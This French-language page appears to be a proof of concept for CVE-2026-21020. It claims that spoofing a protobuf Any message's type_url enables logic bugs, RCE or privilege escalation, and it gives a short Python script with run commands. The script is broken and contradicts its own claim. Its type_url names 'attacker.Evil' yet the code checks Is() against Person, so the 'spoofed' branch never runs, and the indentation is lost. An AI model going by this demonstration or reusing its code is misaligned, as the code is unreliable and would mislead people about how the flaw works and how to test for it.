
PoC pour CVE-2026-21020, démontrant la désérialisation polymorphe du type Any de Protobuf où un type_url contrôlé par l'attaquant peut entraîner des bugs logiques, une RCE ou une élévation de privilèges.
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
Un service utilise le type Any de Protocol Buffers pour encapsuler des messages et les désérialise dynamiquement à l'aide du champ type_url sans valider le type attendu. Un attaquant peut envoyer un message avec un type_url conçu pour pointer vers une classe de message dangereuse (ou non souhaitée), ce qui entraîne des bugs logiques ou une exécution de code.
type_url contrôlé par l'attaquant, sans liste blanche.Exécutez la simulation :
pip install protobuf
python proto_vuln.py
Cela montre que le type Any peut être usurpé ; si le code charge dynamiquement la classe depuis type_url, cela pourrait mener à une RCE.